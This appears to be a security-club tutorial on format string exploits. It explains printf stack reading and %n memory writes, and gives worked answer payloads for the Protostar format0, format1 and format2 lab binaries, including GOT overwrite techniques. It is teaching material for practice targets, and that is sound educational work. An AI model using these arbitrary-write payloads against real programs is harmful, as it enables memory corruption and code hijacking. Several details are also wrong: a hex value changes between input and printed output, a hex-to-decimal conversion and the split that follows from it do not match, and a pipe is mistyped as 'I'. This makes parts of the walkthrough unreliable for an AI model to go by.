Format Quick String Review:

The Format String is the argument of the Format Function and is the ASCII string which contains text and format parameters, like:

```
Printf ("The magic number is: \%d\n", 1911);
```

The Format String Parameter, like %x %s defines the type of conversion of the format function.

Examples:

```
printf("hello");
    output: hello

char user[] = "secclub";
printf("hello %s", user);
    output: hello secclub

char user[] = "secclub";
int amt = 0;
printf("hello %s, the total is %d", user, amt);
    output: hello secclub, the total is 0

int hex1 = 0xdadbeef;
int hex2 = 0x1010;
```
printf("hello %x, %08x", hex1, hex2);
output: hello 0xdeadbeef, 00001010

Format Functions vulnerable to Format String Attack:

Format Function: Description:
fprintf() Writes the printf to a file
printf() Output a formatted string
sprint() Prints into a string
snprintf() Prints into a string checking the length

Common conversion/format specifiers:

Parameters: Output:
%% % character (literal)
%p External representation of a pointer to void
%d Decimal
%c Character
%u Unsigned decimal
%x Hexadecimal
%s String
%n Writes the number of characters into a pointer

For more function and specifier information:
man 3 printf
man printf
and of course google.com lol
Format string exploits occur when the submitted data of an input string is evaluated as a command by the application.

An attack could be executed when the application doesn't properly validate the submitted input.

When a format string parameter is inserted into the posted data, the string is parsed by the format function where the conversion specified (such as: %x) in the parameter is executed.

However, if the format function is expecting more arguments as input, and the arguments are not supplied, then the function could read or write the stack.

```
printf("%x, %x, %x", arg1, arg2, arg3);
```

Printf Stack Frame:
-------------------

Argument 3
------------

Argument 2
------------

printf -> Argument 1
----------------------

Saved eip
----------

ebp -> saved ebp
------------------

printf local vars

esp-> --------------
```
Above is simple printf stack showing how format string arguments are placed on the stack.

4 bytes for every parameter of printf up the stack.

Assuming the three parameters specified are filled with arg1 = 08000000 arg2 = 08000004 arg3 = 08000008 then they will be placed on the stack in that order.

arg3 will be 8 bytes above arg1.

What happens if we only have 2 args and 3 specifiers?

printf will point towards memory not in its stack frame.

Direct Parameter Access: (%10$\text{x})

Chooses 10th argument from the stack, which in this case is 40 bytes up the stack.

This can allow reading memory that does not belong to your printf call.

General Formula:

with source: look for mismatched args to specifiers (printf(string), printf("%x%x",string))

printf(string) has no specifiers and allows the user to make a specifier as input.

If the value sent to the (string) parameter contains conversion characters, printf will parse the conversion characters and use the additionally supplied corresponding arguments.

If no corresponding arguments exist then data from the stack will be used in accordance with the order specified in the format string function.

If the output stream of the format string function is presented back, you can read values on the stack by sending the conversion specifier %x.

You can also read character strings at arbitrary memory locations with the specifier %s.

By using the %n specifier you may write an integer value to any location in memory.

with binary: try inputting %x and search memory with gdb if blind or script if reflected.
Exercise 1 Format0

https://exploit-exercises.com/protostar/format0/

Note: You can solve this like a traditional stack buffer overflow i.e. python -c "print 'A'*64 + '\xef\xbe\xad\xde'"

but the point of this exercise is to utilize a format specifier to do something ricky such that the total amount of bytes needed for this exploit is 10 or less.

hint: the width specifier is your friend. If you forgot what this is: man 3 printf or google.com

   answer: ./format0 $(python -c "print '%64x' + '\xef\xbe\xad\xde'")

Finding Offsets:

Once you've found a vulnerable program which is echoing back the value (aka format0), you will need to search for it using a debugger (gdb)

However, if it does reflect back your input, you can write a script to quickly find the offset.

   Last thing needed is the ability to write using format strings

   Fortunately we can use the %n specifier to write

   python -c "print '<data>%offset$n'"

   This would write <data> to whatever offset provided

./fmt $(python -c "print 'AAAA%12$n'")

Lets say the 12th argument from the format string pointer has the address of where AAAA is.

Then we would replace the address to where AAAA is stored with 0x41414141
Interesting Places to Write:

Lots of interesting places to write GOT (Global Offset Table), PLT (Process Linkage Table), DTORS (Destructors), CTORS (Constructors), etc. assuming they are writable.

That being said, for protostar we need to be familiar with the symbol table and GOT.

The symbol table is a data structure used by a language translator such as a compiler or interpreter, where each identifier in a program’s source code is associated with information relating to its declaration or appearance in the source, such as its type, scope level and occasionally its location. Simply put, the symbol table allows you to find where libc functions are loaded into memory.

The most common implementation technique of a symbol table is a hash table.

After compiling a program into an object file, the object file will contain a symbol table of identifiers.

We can view this symbol table with:

```
objdump -M intel -t <executable>
```

We can view the GOT with:

```
objdump -M intel -R <executable>
```

Try protostar’s format1. Use the format_script provided by Adam to find the offset, or calculate it yourself. A word of advice, if you use the format_script, look at the script and understand how it works; it will prove useful to know later on. Otherwise, finding the offset yourself will be great practice towards understanding the stack. Though format1’s offset will vary, so be forewarned.

```
Answer: ./format1 $(python -c "print '\x38\x96\x04\x08' + '%129$n' + '\x01*3")
```

Note: the offset is runtime specific for format1. Sometimes the memory alignment will be odd. So the 129byte offset will vary.

Managing Larger Offsets:

Lets say you need to write a specific value (backdoor value, key, etc..) into something in the symbol table such as 0x232042. We can do some math with the width specifier (a width specifier declares a minimum number of characters to be written to stdout and if
the minimum is greater than the number of characters then it is padded with blank
spaces), and %u, and %n to write whatever address we would like.

Let's imagine we want to write the value 23000 to a variable in the symbol table.

We can do this with:

    python -c "print 'addr_to_symbol_table_var' + '(%(23000-
length_of_addr_to_symbol_table_var)u' + 'offset_to_format_string\$n'" | ./fmt2

Exercise 3 format2:

For format2 using the format_script is recommended. However you will need to modify it
to work with format2.

To modify it:

format1 script:

for i in {1..200}; do echo -n "$i "; ./format1 "AAAA%$i$x" I grep 4141; if (( $? == 0 ));
then break; fi ; echo ""; done;

format2 script:

for i in {1..200}; do echo -n "$i "; ./format2 echo <<< "AAAA%$i$x" I grep 4141; if (( $? == 0 ));
then break; fi ; echo ""; done;

    change it to execute format2 instead of format1. Since format2 uses fgets()
instead of an argument, echo into stdin with ./format2 echo <<< "AAAA%$i$x". This
modification applies to format3 as well.

Breaking Up Large Offsets into Smaller Writes:

Writes can be broken up when the value is too large to be used as an offset. The max
unsigned integer value is (2^16)-1 . If this is the case then you will have to break it up
into two or more writes.

Format strings have the %h which is a length modifier where the argument is interpreted
as a short int or unsigned short int. We can use this to write one half of an address at a
time.

As an example let's say we need the value 0x15048fa = 352620474 = (gdb + p/d
<addr>) which is a value greater than (2^16)-1. In this case, the first address to write is
0x1504 (5380), then the second write is 0x8fba (36794). Keep in mind that using two writes will require adding 2 bytes to the high order bits and a second %n.

Example:

```python
python -c "print 'addr_to_symbol_table_var+2bytes' + 'addr_to_symbol_table_var' + '
%(5380-8)u' + 'offset_to_format_string\n' + '
%(36794-5380)u' + 'offset_to_format_string+1\n'" | ./fmt3
```

Format String Defenses:

Three major defenses to format string exploitations are static analysis, watching compiler warnings, and source fortify bit so that the %n and other specifiers cannot be used.

For more on format string exploits and defenses, checkout:


http://phrack.org/issues/59/7.html